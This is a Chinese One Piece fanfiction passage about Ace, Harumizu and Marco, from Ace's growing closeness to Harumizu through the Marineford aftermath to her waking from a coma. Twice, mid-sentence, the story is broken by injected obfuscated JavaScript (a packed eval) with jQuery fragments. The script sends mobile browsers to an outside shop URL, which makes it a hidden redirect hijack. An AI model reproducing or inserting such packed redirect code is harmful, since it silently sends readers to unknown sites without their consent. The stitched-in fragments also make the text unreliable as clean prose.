“别人的评价都只能作为参考。如果真的想知道,自己去观察观察如何呢yoi。” ——被他交代了这样的任务。 无论是作为伙伴、还是家人,总是要过上这一关的。 艾斯最后还是在队长们和老爹好笑的视线中,鬼鬼祟祟地在距离春水五十米外的地方,观察起了这位「利刃」。 春水总是很安静,安静得几乎像船上的一个影子。 她大部分时间都待在高处的瞭望台或者某个高高的船舷边,手里永远捣鼓着那些看起来就一团糟的毛线。眼神放空,对周围的喧闹充耳不闻。 但她会在宴会结束的清晨,和马尔科作为唯二清醒的「家长」,一起把喝得烂醉如泥的伙伴们搬回房间。 她很少说话,惜字如金,表达方式直接得有时让人不知所措。只有在对着醉酒的老爹时才算例外—— 艾斯曾亲眼见证在某个喧闹的宴会角落,两人竟然就着月光和酒意,低声聊了整整六个小时,直到天边泛起鱼肚白才结束。 原来她也会露出那种……温柔的、近乎于依赖的表情啊……… 艾斯渐渐发现,这位拔刀时有着恐怖威压的「利刃」,在日常生活上,却出乎意料地笨拙。 她会在试图帮厨时将面团搅成一团死疙瘩,把萨奇气的干脆在厨房门口挂上了「春水免进」的木牌后,一脸茫然的被马尔科拉走。 她听不太懂笑话,船上甚至举办过笑话大赛,冠军的目标是把她逗笑——直到现在第九十七届仍无一位冠军。 她织出来的作品形状诡异,连老爹收下时都只能沉默地拍拍她的肩膀以示鼓励,但马尔科居然会面不改色地戴上——虽然经常因此被比斯塔嘲笑“品味惊人”。 这些细节慢慢地、慢慢地打碎了原有的恐怖的「利刃」形象,再次粘合起来,只是个安静而笨拙的姐姐。 ——木着脸收下了来自春水的赠礼,一条丑的像是海王类的呕吐物、完全称不上好看的围巾。在大伙儿善意的笑声中,艾斯将它围在了脖子上。 「……好软。而且,好暖和。」 他摸了摸粗糙的针织纹路,如是想到。 至于伙伴们对马尔科与春水宛如「严父慈母」般的调侃,真正看懂这一点,其实花了艾斯更久的时间。 那是个刚上船不久,还有些莽撞的新人,在训练中不慎被自己的刀划伤了手臂,伤口颇深。 就在他手足无措时,春水走上前,伸手精准地按压在伤口附近的几个点上。 伤口似乎形成了几根无形的「线」,血流竟肉眼可见地减缓了。 没顾及新人挫败的脸色,春水的声音直白的近乎冷漠:“能被自己伤到,下船换个路子重练吧。” “春水的意思是,你的基础还不扎实,跟着大船团他们重新训练再回来会更安全。”马尔科闻讯而来,一边包扎,一边无奈地为她翻译,“送你去怀迪贝姐那边,她训练新船员可有一套了yoi。” 春水抱着手臂站在旁边,盯着他的伤口,表情没有波澜。新人愣愣地点头,不好意思地朝他们道谢。 这一幕让艾斯彻底明白了「严父慈母」的含义——春水会用她自己的方式(哪怕看起来有点吓人)保护家人,而马尔科则负责将这份保护变得易于接受,并处理后续。 一个锐利直接,一个温和周全。 所以……原来马尔科,才是那个「慈母」啊…… 作为最早跟在纽盖特身边的子女,他们之间有着被时间沉淀到……超越了任何可以被定义的感情。 不只是言语上的热络,那是行动上的绝对同步。 在混乱的战斗中,他们总能精准地做出最契合时机、最能发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17493574|202364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挥作用的决断。 往往是马尔科一个眼神,下一秒春水的刀已经斩落。无需春水出口,再生之炎也总是第一时间围拢在她左右。 ——宛如彼此的半身,时时刻刻共用一个大脑。 这种堪称恐怖的默契和羁绊,是白胡子海贼团屹立至今,最稳固的基石之一,也令艾斯发自心底的赞服。 ——只是偶尔,偶尔,他们之间那种无形的场,会使旁人有些难以融入。 那是一个阳光很温和的午后。 躺倒在甲板上的伙伴们昏昏欲睡,艾斯的角度恰巧能望到靠近瞭望台的角落。 马尔科搬了张躺椅,膝盖上摊开了一本医疗手扎,视线却没落在书页上。 他在看着春水,一直在看着她。 “这里,又错了yoi。”他的声音带着惯有的懒洋洋的调子,还有一种近乎耐心的温和,伸手悬空点了点,“打这种结,收针时两边力道得一样才行吧。” 春水坐在离他很近的船舷边。 她蹙着眉,脸上有鲜活的、近乎固执的苦恼。 “真麻烦啊,马尔科。”她小声地抱怨着,惹来了马尔科的轻笑。 “起码进步了,慢慢来吧yoi 。”他拍了拍她的头,接过织物,熟练地帮她解开乱七八糟的绳结。 阳光洒在春水的长发上,也照亮了马尔科低头时嘴角的笑意。 艾斯困惑的挠了挠脸。 ——马尔科,也对编织感兴趣吗? “哪是对编织啊……” 似乎是看出了他的困惑,萨奇拿下了盖在脸上的报纸,露出一个“你还是太年轻”的笑容。 “傻小子,你还差得远呢。” “唉?什么?”艾斯依旧茫然。 曾在和之国从擅长编制斗笠的小玉那儿学了一手编织技法的艾斯,在一次任务中遇见了奥兹海贼团,认识了小奥兹。 那次以后,他就买了一大捆竹条,扬言要为小奥兹编一个最大、最大的草帽。 “我说艾斯——你都失败两次了!” “自己明明就是火,还要编草帽!” 伙伴们笑着打趣他,心肠比谁都柔软的少年挠了挠头,露出一个灿烂又有点不好意思的笑容。 他给出了一个没人能拒绝的理由: “这样的话,小奥兹就能凉快点了吧?” 船上的人都为这个理由大笑起来,就连老爹都“库啦啦啦啦”地多喝了好几口酒。 “好小子。”他拍着艾斯的肩膀,自豪的大笑道。 对他编草帽的手艺很感兴趣,春水也难得凑了上来。 大家围在一起,看着艾斯耐心地将竹条交织、固定,一点一点编好了那顶巨大的草帽——因为刻意做的结实,所以那形状反而像是个斗笠。 小奥兹珍重地接过它戴在头上,高兴得手舞足蹈。 被他高高丢起,艾斯无奈地道:“不用那么珍惜啦。我多给你编几个,你换着戴。” 马尔科笑着看那个场面,转头时看到了若有所思的春水。他挑眉问她:“怎么?要我给你搞些竹条吗?” ——她看着一脸“我也想试试”的样子啊。 闻言,春水眼睛亮亮地回望过来,连点了两次头。 被她看得心里一阵软和,马尔科在下一次靠岸的第一件事就是去买了一大把竹条给她。宽的、细的,各种尺寸各种颜色都有。 “喏。”他递给她,顺手帮她捋了捋散落的鬓发,“够你嚯嚯上好一阵子了yoi。” 春水欢喜地接过了它们,板着脸开始了一次又一次尝试。 “明明没有天赋吧……为什么这么执着于编织啊,春水姐。”看着试图模仿他编草帽、却屡屡以失败告终的春水,艾斯有点想笑。 ——他已经能够自然地和春水开玩笑了。 在一旁的马尔科已经笑出了声。 春水也没在意他的那句“没有天赋”的吐槽,她只是慢慢收拢竹网,将再一次被缠成死结的一端解开,再将那个复杂的绳结展示给艾斯看。 “每一条「线」都有无数的「可能性」。”她解释道,声音平缓,“从众多「可能性」之中,「看」到最终的那一条——被称为「未来」的「命线」。” “我在做的就是这样的事。” 艾斯被她深奥的解释绕晕,懵懂地点了点头,心里大概有了个解释。 ——总之就是不可思议的「线」吧……! 直到「顶上战争」中,他亲眼目睹了那骇人一刀后,才真正明白了她当时话中的含义。 「无我不断」。 无论是什么——哪怕是对手的未来和可能性——都要切断给你看。 “艾斯,带路飞走。”有着比任何时候都冷静、又比任何时候都疯狂的眼神,春水低声嘱咐道,“去找甚平,去吧。” “可是春水姐你——” “别傻了,笨蛋。只要你们能活下来,就是我们赢了。” 以肉身硬抗下两位海军最高战力的进攻,将自己牢牢护在身后,这位白胡子海贼团最锋利的「刃」转头看他,露出了一个极其罕见的、带着血迹却无比温暖的笑脸。 “一定要活下去啊,艾斯。” “——去吧。” 这可能真的是最后一面——最后的遗言了。 知道自己在这里只会让她分心,对战局起不到一点作用,反而会成为她的弱点。 艾斯眼眶一热,咬牙拉起路飞,含着泪深深看了春水一眼,终于化作一道火光,迎上了前来接应的伙伴。 ——“但是啊,其实她很温柔的,艾斯。” ——“尤其是对家人。虽然你可能现在还看不太出来。” 萨奇和比斯塔的话在耳边回响。眼泪汹涌流淌,艾斯此刻终于体会到了这份沉甸甸的、用行动而非言语表达的温柔。 他以身受之,几乎被内疚与自责压垮。 6. 你,要食言了吗? 那一战的后续,是乔兹和比斯塔讲给艾斯听的——在和路飞据说有点交情的「死亡外科医生」特拉法尔加·罗的潜水艇上。 因荷尔蒙果实能力迅速透支体力,身上还有着许多累积起来的、未痊愈的旧伤,路飞的状态很危险。 在他做手术的期间,红发海贼团的雷德·福斯号追了上来,似乎是来确认他是否安全——船上还有一众去而复返的伙伴、老爹的遗体和几乎被烧成焦炭、同样被红发海贼团的船医「本乡」全力救治中的马尔科和春水。 此情此景,每一句关于战场的描述都像钝刀子割肉。 “什么……?黄猿、青雉重伤,赤犬被春水姐……?” 两边都在紧急手术、一颗心悬在嗓子眼的艾斯几乎不敢相信自己的耳朵。 他不可置信地看向比斯塔和以藏,得到了两声叹息。 “是的,这两个人简直是豁出命去了……战国已经被气疯了。”乔兹回忆着,声音沉重。 那是舍弃全部防御,近乎疯狂的最后一击——比斯塔努力维持着相对平静的语气,但还是没控制住颤抖。 “他们俩根本就没想过,除了「共死」以外的结局。” 青炎焚尽,凤凰印出! 马尔科用出了拼尽全力的「凤凰印」,一脚贯穿了青雉胸口被砍出来的伤处,将他踢飞数百米远,撞断了好几座冰山。 ——自己,则是结结实实地吃了一记「冰河时代」。 他没有分出再生之炎来修复自己被急速冻结的身躯,而是任全部火焰,紧紧缠绕在春水身侧! 青炎环伺,万物不侵。 那耀眼的青金色火焰,裹挟着巨大的冲击波,竟在宛若炼狱的岩浆海中,为她生生开辟出一条路! 就是现在! 春水的身影在那条火焰通路中一闪而过,同样是放弃所有防御的以命相搏,奥义「无我三相」悍然挥出! 艾斯仿佛能透过比斯塔的讲述,“看”到那惊世骇俗的三刀: 第一刀,斩断了翻涌的熔岩巨浪; 第二刀,破开了赤犬的武装色霸气防御; 最后一刀,则是快得超越了视觉捕捉的极限,利落地、平滑地、带着一种斩断宿命的决绝,切断了赤犬的脖颈! 血柱喷涌,那颗代表着海军「绝对正义」的头颅,应声落地! 但直面岩浆攻击不闪不避,代价同样是惨烈的。 挥出这三刀后,春水彻底脱力,自半空中坠落。整个人被未消散的岩浆烧得焦黑溃烂,几乎看不出原貌。 下方几乎被冻成冰雕、全身僵直的马尔科,近乎奇迹般地、紧紧地、死死地将坠落的春水接在了怀里。 两人如同燃烧的陨石,重重砸在破碎的冰面上。 ——兔起鹘落,以伤换伤。本以为是苟延残喘,飞蛾扑火。那样不值一提的反扑竟成了斩首刀。 岩浆依旧在熊熊燃烧,将三个身影吞没……一切都发生的太快了,快到没人能反应过来。 而确保其余伙伴们已经安全撤离,准备去找赤犬拼命的几位队长赶过去时,看到的就是这幅场面。 “要不是甚平,用「洋流过肩摔」把他们丢进海里……”比斯塔的声音带着后怕,“说不定就真的……” “太乱来了,两个人都是。”乔兹更是红了眼睛,狠狠地擦了一把眼泪。 见他俩已经说不下去了,一边的以藏轻轻叹了口气,抽起烟来。 烟雾弥漫,艾斯茫然地听着「顶上战争」的结尾,泪水无声滑落。 ——另一边战场上,纽盖特拼尽全力,将试图阻拦他的波鲁萨利诺按着脑袋锤到了地底深沟中。 一切的始作俑者「黑胡子」蒂奇浑水摸鱼,收服了海底大监狱穷凶极恶的几名罪犯,并联手朝纽盖特发动攻击。 纽盖特身中数道足以致命的贯穿伤,却依旧用最后的「震震果实」,一击击毁了马林梵多的总部建筑,再一击击溃了蒂奇的防线。 ——杀招被那句「老爹」的求饶声干扰,同样是三十余年的陪伴,他最终还是没下去手。 他顶天立地地死了。 用诡异的法子夺取了「震震果实」,蒂奇对上了战国、卡普等一众海军,准备趁此机会好好闹上一通,继续这场毫无意义的「顶上战争」——最好能趁乱再多杀个大将。 就在此刻。 “轰!!!” 磅礴无比的霸王色霸气如同天罚般降临,整个马林梵多的战场为之一静。 冰面碎裂,实力不济的海军成片倒下。雷德·福斯号如同王者君临,驶入湾内。 “是红发海贼团的船!!”“为、为什么!「四皇」会出现在这里!!” “到此为止吧,”香克斯站在船头,脸色严肃,格里芬已然出鞘一半,“我来结束这场战争。” “如果还有人想动手——” “来吧。” “——我们,来做你的对手!” 红发海贼团的介入,彻底改变了战局天平。 “真的多亏了他啊,红发。” “不然我们真的不知道怎么带回老爹和……和他们俩。” 艾斯望向倚在雷德·福斯号船舷边的香克斯,对方一直沉默地注视着写有「手术中」的船舱。 似是感受到他的注视,曾有过一面之缘、最年轻的「四皇」朝他点了点头。 停放着老爹的棺椁就在不远,无数家人死去,还有手术室里为了断后而生死不知的马尔科和春水姐——一切都因他而起,这沉重的负罪感几乎要将他压垮。 “真不知道该怎么朝你们道谢……”艾斯走上前去,已经泪流满面。 他哽咽着朝香克斯道谢,乔兹和比斯塔一左一右揽住了少年的肩膀,以做安慰。 “小事一桩,不用在意。”香克斯移开了目光,再一次望向船舱。 他手里还紧握着什么,如果马尔科还醒着,他应该认得出来。 ——那是春水最后一战前织完的围巾,她特意委托了船上负责运送伤员的后勤人员: “如果有机会,请把它送给香克斯。” 洁白的云贝绒被红石粉细细染成了红色,针脚细密,内侧还有香克斯的名字。 这算什么。 这算什么啊……笨蛋。 连句话都没留下,就奔着同归于尽去了……这算是,唯一的遗物吗? 香克斯很难形容自己看见那具与平日截然不同的残破身躯,以及不久前收到这份赠礼时,那一瞬间的心情。 ——居然真的能做到这个地步。 回忆着那夺取最强大将首级的三刀,他沉沉地叹了一口气,将头埋在了掌心。 “太乱来了。” 虽然本乡明确通知了存活几率渺茫,要乔兹他们做好心理准备……但……一定要挺过去啊,春水。 时间在煎熬中缓慢流逝,两边船上的船医都在尽全力与死神搏斗。 不知道过了多久,特拉法尔加·罗率先走了出来,脸上带着疲惫,但眼神平静:“草帽当家的暂时脱离危险了,但需要长时间静养。” 艾斯悬着的心放下了一半,目光立刻又投向了另一边,本乡还在里面忙碌。 这两人的生命体征极其微弱,状况不容乐观。 好在罗的「手术果实」帮上了大忙。从日头正盛忙到明月高悬,在两位船医的全力救治下,守在外面度日如年的几个人终于得到了第一个好消息。 ——马尔科醒了。 无愧于「不死鸟」之名,再生之炎耗尽,肉身被冰封后又投入岩浆,全身上下没一块好皮,几乎都被绷带缠成了个粽子——这样的情况下,他居然是第一个脱离危险的人。 本乡走了出来,叹息着和他们讲解情况:“马尔科暂时稳定了。但他的身体透支得太严重,短期内应该是用不了果实能力了。” “不愧是他,恢复力确实惊人……他已经醒了。但声带严重受损,不能说话,需要静养。注意让他多休息。” “那……那春水姐呢?”大家为这个消息狠狠地松了口气,但艾斯敏锐地察觉到他话没说完,心头骤然涌起不祥的预感。 果然,本乡和从手术室中走出、正在按摩手腕的罗对视一眼。 两位船医的语气已经带着点遗憾和鼓励了:“她是存了死志的,相当于直接跳进了岩浆里,一点防御都没做。全身超过百分之七十的皮肤碳化,需要多次植皮。内脏破裂、灼伤……情况非常棘手。” “我们能做的都做了,至于能不能醒过来……看她的意志了。” 听懂了他们的言外之意,船舱上的所有人的心,几乎是在那一瞬间,沉沉地坠入了深海里。 “去看看马尔科吧。” 良久,几人之中年龄最大的比斯塔抹了把脸率先开口,露出了个比哭还难看的笑脸。 “先别……别和他说春水的情况了。老爹已经……这个家,不能再失去任何人了。” 乔兹和以藏迅速调整好表情,艾斯用力揉了揉脸,试图挤出一点轻松的笑意。几人谢过两位船医,涌入手术室。 马尔科躺在病床上,脸色苍白如纸。他睁着眼睛望向天花板,虽然虚弱,眼神却已经逐渐清明。 听见了几人下饺子一样跑过来的脚步声,他似乎是笑了,视线艰难地转向他们,带着点歉意和安抚,轻轻地眨了眨眼。 乔兹的眼泪登时刹不住闸了:“混蛋马尔科!你还知道醒啊!!逞什么英雄啊你个臭小子!我们都要担心死了!!!” 比斯塔也蹲在他床前,笑骂道:“你小子真行啊你,起码等我们来再一起上啊——不过干得漂亮!赤犬死了,青雉重伤,你那记凤凰印……真的太帅了。” 以藏笑着朝他用力比了个大拇指,艾斯也凑上去支支吾吾地和他道歉。 “马尔科,我……” 他想说对不起当时没顾你们的阻拦一意孤行,对不起没打过蒂奇连累你们来救我,对不起害大家失去了老爹。 「对不起,都是我的错。」 但他对上马尔科平静的、温和的目光,就像最初在莫比迪克号上,递给那个迷茫少年一碗热汤时一样的眼神。艾斯最后还是小心的、悬空虚虚握住他的手。 “马尔科……我好好活下来了,我没事!你也要……快点好起来!” 少年咬牙流着泪,朝病床上的兄长说道。 除了眨眼什么都做不到,马尔科任由他们发泄完全情绪,倒豆子一样七嘴八舌地讲述着后续。 老爹的遗体被妥善安置,准备带回他的故乡斯芬克斯岛安葬;红发如何终结战争;伙伴们的撤离情况……他耐心地一一听着。 但渐渐地,他的眼神开始流露出明显的询问,在所有人口中逡巡,最终定格在空白的区域。 那是大家都在努力避而不谈的人。 「春水,她怎么样了?」 ——马尔科的目光明晃晃地写着这几个字。 乔兹一时间不敢与他对视,以藏顺势接过话茬,平静地编瞎话:“你知道的,春水没你那么耐造,她得再过几天才能醒。” 比斯塔讷讷附和,艾斯则干脆把头埋在他枕头边,不敢让他看见自己大滴大滴滚落的眼泪。 马尔科的目光在他们之间晃来晃去,似是怀疑,最后对上了安静倚在门边的香克斯的眼睛。 他努力用眼神表达出感谢的样子有点好笑,香克斯神情暂缓,开口道:“谢的话等你好了再说吧。即使是敌人,白胡子也是个令人敬佩的男人,我相信战国也是这么想的。” 他的语气很郑重。 但马尔科没有回应这份郑重。 他的目光从香克斯的脸上,移到了他手中一直紧紧攥着的那条——即使在昏暗的船舱里也异常醒目的红色围巾上,然后又扫回乔兹和比斯塔那一说谎就有些不自在的脸上。 他们自小一起长大,有些事瞒的过别人,却瞒不过彼此。 马尔科极其缓慢地呼出一口气,仿佛用尽了全身力气,然后慢慢地闭上了眼睛。 他明白了。 ——春水的情况,恐怕已经糟糕到……连醒过来都成为一种奢望了。 他心如明镜。 按着他俩那股只攻不守的自杀式打法,没有当场宣告死亡,已经是奇迹中的奇迹,是老爹在天之灵保佑了。 老实说,睁开眼后,他甚至有一瞬间的恍惚,以为自己终于见到了老爹和……她。 可惜,果然是做梦啊……能再见到老爹什么的…… 没事的。 一定没事的。 春水——她答应过他的。 不会让他孤身一人,她答应过他的。 不死鸟的睫毛剧烈颤抖着,一大滴泪无声地从眼角滑落,迅速洇湿了洁白的绷带。 ——没事的。 时间一天天过去,路飞也醒了。 在确定艾斯一切安好后,他大喊着"好饿”,被哥哥无奈地背上了九蛇岛——那位海贼女帝波雅·汉库克一反常态地热心肠,为他们特意准备了大量的食物。 一通饱餐后,路飞迅速恢复了精神。 艾斯不放心马尔科他们,和罗郑重道过谢后暂时告别了路飞——冥王雷利似乎是想对他展开特训,为了帮他提升实力,适应新世界。 没有老爹压着,原白胡子海贼团管辖的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17493575|202364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地盘也或多或少遭遇了破坏,尤其是蒂奇那个趁火打劫的家伙——剩余的伙伴们一同参加了老爹的葬礼后,纷纷前往鱼人岛以及新世界各个岛屿,平息纷争。 纽盖特去世后的半个月,世界各处均掀起了风浪。 而在停泊于斯芬克斯岛的雷德·福斯号上,时间仿佛被按下了暂停键。 春水依旧沉沉昏睡,仿佛要将前半生的所有疲惫一次清偿。 马尔科已经能不需要被人搀扶,相对自如地活动了。 虽然身体远未康复,内脏时常传来隐痛,失去再生之炎庇护的伤口愈合得异常缓慢,声带受损让他发出的声音嘶哑得如同破旧风箱。 ——但这一切都无法阻止他。 他本就精通药理,又和本乡一拍即合,常常拖着未愈的身体窝在狭小的医务室。 两个医术高超的男人对着药典和一堆草药,低声讨论着,试图找出最优的配方来促进春水伤口的愈合。 在他们不懈的努力下,春水生命体征日益平稳,身上骇人的烧伤也逐渐结痂、脱落,露出粉嫩的新肉。 被蒂奇重创,留在后勤船队的萨奇也醒了,吵着要来看望老爹,哪怕是自己划船也要划过来——以藏不放心,已经借了艘船去接他了。 纽盖特去世后的一个月,白胡子海贼团原有的管辖岛被蒂奇、玲玲和凯多瓜分,鱼人岛也因其美味无比的甜点而尤为博得玲玲的青睐。 为守护鱼人岛,甚平带领着鱼人海贼团并入万国。 本着帮助罗杰船长照顾他儿子的职责,香克斯接手了对艾斯霸气和武技的锤炼。意料之外但情理之中的,艾斯也觉醒了霸王色霸气。 萨奇与以藏终于回来了。 正面见识了自己与若干巅峰强者的实力差距,比斯塔与乔兹也决心继续修行——由于国家无法支付“天上金”,而无法加盟世界政府,斯芬克斯岛最终沦为海贼和人贩子横行的“不法之岛”。 老爹一直匿名向自己的出生地送去「脏钱」和「物资」,吝啬如他,会蹭别人的酒喝,也从没请过客。但大家都知道,他的所有宝藏都会送到这里来。 明明在这里没有家人,朋友也早已不在人世,但这座岛,就是他的「故乡」。 为了守护老爹的故乡,四人很快走出失意,干劲满满地在海贼窝里大闹了一通。 马尔科已经康复了大半,再生之炎在他指尖重新燃烧。除了脖颈狰狞的伤疤与沙哑的嗓子,似乎一切都在往好的方向发展。 但春水…… 即使有近乎神迹、使副作用降到最低的「手术果实」,即使后期红发海贼团帮忙找了最好的去疤药。 但大面积的植皮手术还是在她的侧脸、脖颈、手臂留下了交错着浅粉色的、蜿蜒的瘢痕。 她的呼吸平稳,脉搏有力,从生理指标上看,她早已该醒来。 但—— 她就是没有醒来。 如同陷入了一个令人沉迷的、温暖的梦乡,她的表情甚至可以被称为安详。 “为什么还是不醒呢?”本乡百思不得其解,将医书翻得哗啦响。 “……”马尔科沉默地整理着药草,没有回答。 他望向床上那道身影,心里大概明白。 或许不是不能……而是不想。 梦里有鼎盛的白胡子海贼团,有如山般可靠的老爹,有永远不会结束的航行和欢笑……太过美好,使人沉溺其中,不愿面对残酷的现实。 春水—— 你,要食言了吗? 这个念头像一根刺。他不敢再多想,只是日复一日地守在她床边,履行着三十年来早已成为本能的照顾。 时间就在这压抑的守望中流逝。直到一个满月之夜。 皎洁的月光透过舷窗,洒在寂静的病房内,为室内披上了一层清辉。马尔科趴在春水的枕头边,连日来的疲惫和没好全的身体,让他终于支撑不住,陷入了浅眠。 他的额头抵着床沿,一只手还虚虚地握着春水的手腕,时刻确认她的脉搏。 病房里安静得只剩下两人微弱的呼吸声。 就在这时,床上那具可能永远沉睡的身体,眼睫突兀地动了动。 春水的梦境,正走向终点。 梦里,时光倒流,十二岁的少女坐在纽盖特宽厚的肩膀上,晃荡着双腿。 “老爹,老爹。” 她抱着纽盖特的脖子,依赖地蹭了蹭,很久、很久也不愿意松开。 ——“我哪儿都不想去了,只想在这里一直陪着你。” 梦境如同倒放的胶片,将这三十多年的日日夜夜重新演绎了一遍,有老爹、有马尔科、有大家,让她不由自主地沉浸其中。 纽盖特享受着女儿少见的撒娇,“库啦啦啦啦”地笑着:“看起来很开心啊,春水?遇见什么事了吗?” “没什么,老爹,就是——就是很想你。”少女这样说着,明明很开心,却不知道为什么,心里空落落的。 眼泪突然簌簌滚落,止不住的流淌。 “老爹,如果有一天你不见了,我们怎么办啊?”她噙着泪,鼻子哭的红红的,这么问道。 纽盖特被她逗笑,又舍不得看她哭肿了眼睛的模样,他给了她一个坚实无比的拥抱。 “傻孩子,人总是会死的。”纽盖特耐心地哄着她,就像是哄着一个长不大的孩子,“但在我走的时候,你一定已经长成了一个能独当一面的大人了。” “生如远舟,会者定离。” “春水,老爹也舍不得你,但不要偷懒太久了。马尔科、艾斯、乔兹、比斯塔、以藏……还有那个红发小鬼,大家都很担心你。” 纽盖特这样说着,突然咧开嘴,露出了一个带着些许遗憾却又无比温和的笑容。 “可是老爹,我很害怕。”春水小声嘟囔着,忽然不敢去看他的眼睛和笑容了——她知道,那意味着永远的「别离」。 “马尔科也很害怕呀。”纽盖特用大手一下一下拍着春水的脑袋,笑着问她,“他现在可能在哭鼻子呢,自己一个人。这样也不想回去吗?” “啊……他……” 春水突然有些踟蹰了,她低头看着搅在一起的手指,想起了很久以前的诺言,也想起了那一夜被噩梦魇住的、瘦小的男孩。 纽盖特发出了一声大笑。 他轻声和春水说了句什么,得到了她的保证后—— 与不敢回忆的那最后一幕缓缓重合,他遥遥地,朝着她的方向,轻轻摆了摆手: “该起床了。去吧,我的女儿。” 我的女儿。我的孩子们。 ——“老爹永远深爱着你们。” 7. 你会来吗? ——“老爹永远深爱着你们。” 听着这样令人想要流泪的话,仿佛有一道温暖却充满力量的推力,将她从沉溺的梦境深渊中托起。 春水的眼睫,几不可查地颤动了一下。 一下,紧接着,又一下。 像是蝴蝶挣扎着想要破茧。 然后,在那片朦胧的月光下,她静静地、缓缓地、带着一点不舍地,睁开了眼睛。 金色的瞳孔映照着舷窗外那轮皎洁的满月,她花了点时间才适应光线。目光缓缓移动,扫过陌生的天花板,然后,落在了枕边那个熟悉的脑袋上。 马尔科睡得并不安稳。 他的眉头紧锁,眼下有着浓重的青黑,下巴冒出了胡茬,衬衫上还沾着草药的痕迹。即使在睡梦中,脸上也带着挥之不去的疲惫和担忧。 最爱干净的船医先生,如今怎么把自己搞得邋邋遢遢。 春水的目光转了转,最后在他脸上停留了许久,久到仿佛要将他此刻的轮廓重新刻进记忆里。 ——“替老爹照顾好马尔科。好吗?春水。” ——“……当然了,老爹!” 春水的眼神越发清晰,那更像是一种难以言喻的、近乎温柔的专注。 ……明明自己也还是个病人吧?不用想都知道,这人肯定没醒多久,就强撑着爬起来为自己忙活了。 「笨蛋马尔科。」 春水试图活动一下,关节却发出了细微的“咔啦”声,像生锈的老旧机器。 怕手上的动作吵醒他,她只是轻轻地转了转脖子。 ——然而,这细微的动静,还是瞬间惊醒了马尔科。 他猛地抬头,带着未褪的睡意和下意识的警惕,直直撞进了月下清亮明澈的眼眸里。 时间仿佛在这一刻静止了。 马尔科整个人都僵住了,瞳孔剧缩。他屏住呼吸,下意识地以为这又是一个梦——因为类似这样的梦,他在这个月里已经做了很多次。 春水看懂了他的表情,想说些什么,但是嗓子干涩得发不出声。她索性放弃,只是用被他抓着手腕的那只手,轻轻地回握了一下。 「抱歉花了点时间,但是……我回来了。」 这个动作却像一道惊雷,劈开了马尔科所有的游移。 太突然了。 巨大的、失而复得的狂喜如同海啸般淹没了他。 他张了张嘴,想喊她的名字,想问她感觉怎么样,想问她身上疼不疼——想说的话太多了,但喉咙却被哽住一样,什么都说不出来了。 最终,他只是红着眼框,用那另一只手,更加用力地、小心翼翼地将她的手,包裹在掌心里。 「回来就好……回来就好。」 他的眼睛是这么说的。 寂静的病房中,生命重新开始流动的声音,细微却坚定。 春水苏醒的消息在第二天迅速传开,来探望她的人来了一茬又一茬。 萨奇带了最合她口味的滋补汤,比斯塔和乔兹带来了岛上能找到的最新鲜的水果,以藏默默地将一大束带着露水的野花插在床头的瓶子里。 被香克斯以「特训」之名,拉上了无人岛艰苦升级的艾斯,成了最后一个得知这个消息的人。 当电话虫响起时,他几乎不敢相信自己的眼睛——那个从来都游刃有余、连衣角都未曾让他碰到的香克斯,居然出现了一个极其明显的、肉眼可见的停顿。 那更像是一种……情绪骤然放松时,下意识的松懈。 当然,他绝对不会趁人之危的。 但……但那可是香克斯啊…… 那个六边形战士、几乎毫无破绽的香克斯啊…… 艾斯立刻收住了正准备挥出的火拳。 他想起每次提到香克斯时,马尔科虽然表情不变,但总会冷上几分的语气,想起在甲板上听到的萨奇和比斯塔低声谈论的“好戏”,还有被香克斯珍惜地揣在怀里的红色围巾—— 野兽一样的直觉让艾斯突然有了种预感,他试探地、小心翼翼地问:“香克斯,是春水姐……?” 下一秒,本乡的欢呼声迅速传来,香克斯笑容里也有着如释重负的意味。 “啊,是啊。”他利落地将格里芬归鞘,拍了拍身上不存在的尘土,“春水醒了。走吧,艾斯。” 夜凉如水,好不容易按着一脸不放心的马尔科睡下,春水独自坐在老爹墓前,手里是以藏为她带来的那一大束鲜花。 她正低着头,试图将柔韧的草茎和娇嫩的花枝编织在一起。 太久没活动,她的手指比之前更僵硬,眉头用力皱起,神情异常专注。 艾斯悄悄走近时,看到的就是这一幕。他认出她是在编花环——这完全不是她平时的风格。 春水察觉到了他的靠近,动作一顿,但没有抬头,也没有停下。 过了好一会儿,她才低声开口,声音在寂静的夜里格外清晰:“……很香,我想让老爹也闻闻。” 那是在和他解释。 艾斯的心猛地一揪,酸涩得发疼。 春水的速度很慢,语气很平淡,但艾斯能看到她微微颤抖的手指。 他沉默地在她身边坐下,看着她那双曾斩断岩浆的手,此刻却固执地与草茎搏斗,试图编织一份永远无法送达的思念——月光下,她的侧脸轮廓清晰,新生的粉色疤痕在清辉下显得格外脆弱。 “春水姐……”艾斯犹豫了很久,最终还是鼓起勇气,声音带着忐忑,“我来帮你吧。晚上风凉,你要好好养伤才行。” 春水愣了愣,将花环放在他掌心,安静地看着他。 艾斯的手法确实熟练了许多,手指灵活地穿梭,花环很快就成型了。 两人将花环挂在了陪伴老爹征战一生的丛云切上。 宽大的船长披风在夜风中猎猎作响,仿佛那个如山岳般的男人从未离去,依旧在守护着他的家乡和他的孩子们。 他们静静地看着,任由月光将身影拉长。 不知道过了多久,春水转过头,看向艾斯。金色的瞳孔在月光下又亮又深:“艾斯。” 